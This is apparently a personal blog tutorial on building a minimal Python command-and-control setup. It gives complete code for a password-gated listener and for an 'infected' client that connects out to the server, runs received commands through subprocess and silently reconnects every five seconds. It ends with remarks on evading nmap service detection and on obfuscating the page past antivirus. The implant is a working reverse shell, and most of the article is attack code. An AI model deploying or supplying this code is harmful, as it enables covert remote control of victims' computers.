0. Introduction
Hello!
After doing the [Malware analysis], I got interested
in how do their servers work, reduced to the most simple setting possible.
So I decided that I want to setup a python-based C2 server, to try out this plaintext-password
authentication.
Here is a very short article about how I did it.
(Every code snippet on this site is for educational purposes only.)
1. The Listener
We need to open a socket on a predefined port, set a password, and listen. If anything arrives,
we decode it and compare it with a password (which is now secretphrase). If there is
a mismatch, we drop the connection silently. We want to stay stealthy.
The server setup is the following:
# import the socket handler
import socket
# -- define the global variables --
# accepts connections from any IP address
HOST = '0.0.0.0'
# my random chosen port
PORT = 25001
# the chosen password
PASSWORD = "secretphrase"
And now we define the main listener function:
# function definition
def start_listener():
# we create a socket
# AF_INET means IPv4
# SOCK_STREAM means raw TCP stream
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# the OS usually locks a port for some time after use, this prevents that
# the port will be available instantly if the connection is closed
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# we tell the socket which IP and port to use
server_socket.bind((HOST, PORT))
# we open the socket, and start listening
server_socket.listen(1)
print(f"Listener active on {HOST}:{PORT}")
...
Now that the first part is done, here comes a huge while loop:
...
while True:
# the script stops here, waits for a connection
# if anyone connects, the socket and address is stored
client_socket, client_address = server_socket.accept()
print(f"Connection attempt from {client_address}")
try:
# decode what the client is saying
# and we wait for a total of 1024 bytes
auth_attempt = client_socket.recv(1024).decode(errors='ignore').strip()
# if it's not the password:
if auth_attempt != PASSWORD:
print("Unauthorized access attempt. Dropping connection.")
# close the socker without any reply
# this is how it remains stealthy
client_socket.close()
continue # continue listening
# if it is the password:
print("Authentication successful")
# simple command line from the server
while True:
# we type in a command (for example, 'ls')
command = input("shell> ")
if command.lower() in ['exit','quit']:
# if we type 'exit' or 'quit', we send the exit command
client_socket.send(b"exit")
break
# to prevent accidental empty commands
if command.strip() == "":
continue
# we send our command
client_socket.send(command.encode())
# we wait for a reply from the client, maximum 4096 bytes
output = client_socket.recv(4096).decode()
print(output)
except Exception as e:
print(f"Connection lost: {e}")
finally:
# if either an error happens, or we close the connection manually
# the socket gets shutdown
client_socket.close()
Finally, we put the function in main:
if __name__ == "__main__":
start_listener()
And we are done!
Now when we launch this script on our 'C2' server, it will start listening on port 25001,
for any connection attempts from 'infected' computers. It's advised to configure the firewall
to let this port's traffic through.
(sudo ufw allow 25001 if ufw is installed)
2. The Infected
The infected's task is simple: it has to connect to our server, send the password, and wait for instructions.
Let's go over it quickly:
import socket
# needed to run commands
import subprocess
# needed to wait
import time
# our listener server
C2_SERVER = 'XX.XX.XX.XX'
C2_PORT = 25001
PASSWORD = "secretphrase"
Now the main part:
def connect_to_c2():
while True:
try:
# create a socket and connect to it
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((C2_SERVER, C2_PORT))
# send the password
client_socket.send(PASSWORD.encode())
while True:
# wait for an instruction from the server
command = client_socket.recv(1024).decode()
# if it's 'exit', break the connection
if command.lower() == "exit":
break
try:
# run the code on the infected computer
output = subprocess.getoutput(command)
if not output:
output = " "
# send the command's output back to our listener
client_socket.send(output.encode())
except Exception as e:
# error handling
error = f"Error executing comand: {e}"
client_socket.send(error.encode())
# if the loop ends, close the connection
client_socket.close()
break
# stay silent when any error happens, wait 5 seconds and connect again
except (ConnectionRefusedError, ConnectionAbortedError, ConnectionResetError):
time.sleep(5)
3. Testing
And that is all the code. Now we can lauch the listener on our server:
python3 listener.py
And now to launch the 'implant' on the infected computer (currently my Windows PC):
We can see that nothing is being printed at all. But if we look over to our server:
We got a shell! It's waiting for an instruction to send. Let's send a dir, since
the infected is a Windows system:
We can see my 'c2' folder in which I created the two scripts. We can pretty much send anything we want now,
we can also create a popup dialog:
(The popup is a Windows popup, in front of an ssh connection to my server, also
the censored part on the popup window is my Windows user, not the server's name)
If someone doesn't know our password, they will not get any reply from the server:
The script tries again every 5 seconds.
4. Stealth? Security?
In terms of stealth, this setup highly effective. Standard scanning bots will only see
the port status (open or closed, depending on whether the listener is currently running or not),
because the OS responds with syn-ack before the packet even reaches our script. But
service scanning is impossible, since our server simply ignores conventional 'hello' service
messages.
When trying to scan this "service" with nmap, we get the following result:
We can see that Nmap has no idea what this service is, on the left we can see that it tried a bunch
of service hello messages, and got nothing back. In the Nmap output, there is
25001/tcp open icl-twobase2?, that means the port is open, since I'm running the listener.
The service icl-twobase2? is a fallback to the usual service which is on port 25001,
and even that with a question mark, it really has no idea.
In term of security, this is pretty bad in it's current form. Any packet analyzer (like Wireshark)
can easily see the plaintext password we send over the network. Also the password is defined in
our malicious file, which a simple strings command will instantly reveal.
This could be strengthened with several methods, for example AES encryption.
5. Conclusion
This was a pretty simple project, I learned a lot about python and socket handling. Writing the blog
took more time than the making the entire project, debugging included. At least now it's documented.
Since the infected computer code is basically a reverse shell, I had trouble even including it in
the website. My antivirus constantly shot it down, I had to "obfuscate" the code with empty html elements,
just to not get flagged. I hope it displays correctly for everyone now.
Thank you for reading!